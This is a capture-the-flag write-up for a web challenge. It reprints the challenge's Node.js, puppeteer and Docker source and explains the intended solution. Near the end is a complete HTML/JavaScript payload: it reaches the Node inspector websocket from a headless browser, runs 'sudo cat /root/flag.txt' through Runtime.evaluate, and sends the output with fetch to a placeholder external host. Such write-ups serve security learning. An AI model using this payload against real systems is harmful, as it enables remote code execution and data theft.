WEB - Under Construction

> We started the development of a new task but havent completed it yet. The debug version works on the site. We believe there is no way to get the flag now, but you can try!

App.js source code:

```
const http = require('http');
const static = require('node-static');
const url_lib = require('url');
const puppeteer = require('puppeteer');
const { Worker } = require('worker_threads')

const hostname = '0.0.0.0';
const port = 3000;
var file = new static.Server('./app');


function verifyUrl(data) {
  if (!("url" in data))
    return false
  let url = data["url"].toString().trim();
  if (typeof url !== 'string' || (!url.startsWith('http://') &&
!url.startsWith('https://'))) {
    return false;
  }
  return url
}

const server = http.createServer((req, res) => {

  const url = req.url;
  const method = req.method;

  if(url.startsWith("/browser") && method === "GET")
```

```
  {
    let query = url_lib.parse(req.url,true).query;
    let site_url = verifyUrl(query);
    if (site_url === false)
    {
      res.statusCode = 400;
      res.setHeader('Content-Type', 'text/plain');
      res.end("Invalid url");
    }
    else
    {
      console.log('Visiting', site_url);
      try {
        const worker = new Worker('./worker.js',{workerData: site_url});
        worker.onerror = (event) => {
          console.log(event);
        };
        res.statusCode = 200;
        res.setHeader('Content-Type', 'text/plain');
        res.end(site_url);

      } catch (error) {
        console.error(error);
        res.statusCode = 400;
        res.setHeader('Content-Type', 'text/plain');
        res.end('Error');
      }

    }
  }
  else
  {
    req.addListener('end', function () {
      file.serve(req, res);
    }).resume();
  }

});

server.listen(port, hostname, () => {
```

```
  console.log(`Server running at http://${hostname}:${port}/`);
});
```

Worker.js source code:

```
const { workerData, parentPort } = require('worker_threads')
const puppeteer = require('puppeteer');

const puppeter_args = {
    headless: "new",
    args: [
      '--headless=new',
      '--block-new-web-contents',
      '--disable-popup-blocking=false',
      '--no-sandbox'
    ]
  };

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

async function visitUrl(site_url)
  {
    try {
      const browser = await puppeteer.launch(puppeter_args);
      const context = await browser.createIncognitoBrowserContext();
      const page = await context.newPage();
      await page.goto(site_url);
      await sleep(5000);
      await context.close();
    } catch (error) {
      console.log(error);
    }

  }

console.log('Worker url:' + workerData);
visitUrl(workerData)
```

Dockerfile:

```
FROM node:20

RUN apt update
RUN apt -y install libnss3-dev libgdk-pixbuf2.0-dev libgtk-3-dev libxss-
dev libasound2 sudo

RUN useradd -rm -d /home/ubuntu -s /bin/bash -u 1001 ubuntu
RUN chown ubuntu /home/ubuntu

RUN echo "ctfzone{REDACTED}" > /root/flag.txt
RUN echo "ubuntu ALL = (root) NOPASSWD: /bin/cat /root/flag.txt" >>
/etc/sudoers

USER ubuntu
WORKDIR /home/ubuntu
COPY package.json ./
RUN npm install
RUN mkdir app
COPY app/ app/
COPY worker.js ./worker.js
COPY app.js ./app.js

EXPOSE 3000
CMD ["bash","-c","node --inspect app.js  1>app-logs.out 2>app-logs.err"]
```

Looking at the source code we realize that a GET request to /browser with the **url** parameter is accepted. The passed value should start with http:// or https://. Then the link is followed by the puppeteer module. It is logical to guess that you need to execute some JS code on the client side. Also in Dockerfile we note that with sudo we can read the flag, STDOUT is written to app-logs.out, STDERR is written to app-logs.err.

We start the container and see what is written to the logs. In app-logs.err we see that information about the debugger is written:

```
Debugger listening on ws://127.0.0.1:9229/353bf166-237f-41c2-903f-
c2e93c1eefa5
```

```
For help, see: https://nodejs.org/en/docs/inspector
```

At link find examples of code execution with the help of debugger, save it for yourself.

Each time the debugger is run, a unique UUID is generated, we need to find it out somehow. Let's see what is in package.json:

```
{
  "dependencies": {
    "node-static": "0.7.11",
    "puppeteer": "20.7.3",
    "react-cyber-elements": "^1.0.2"
  }
}
```

Let's google vulnerabilities for these dependencies. We find the Directory Traversal vulnerability. Using this vulnerability we read app-logs.err on the server. Then we just make a simple HTTP server that returns the following JS code:

```
<script type="text/javascript">
        const ws = new WebSocket(
            'ws://127.0.0.1:9229/UUID'
        );
        ws.onmessage = function (event) {
            fetch(`http://x.x.x.x:8080/?flag=${event.data}`);
        };
        ws.addEventListener("open", () => {
            ws.send(JSON.stringify({ id: 0, method: 'Runtime.evaluate',
params: {expression:
`process.mainModule.require('child_process').execSync('sudo cat
/root/flag.txt') + ''`} }));
            fetch(`http://x.x.x.x:8080/test`);
        });
</script>
```

We get a flag in the server logs!

> Flag: **ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}**
> Python HTTP Server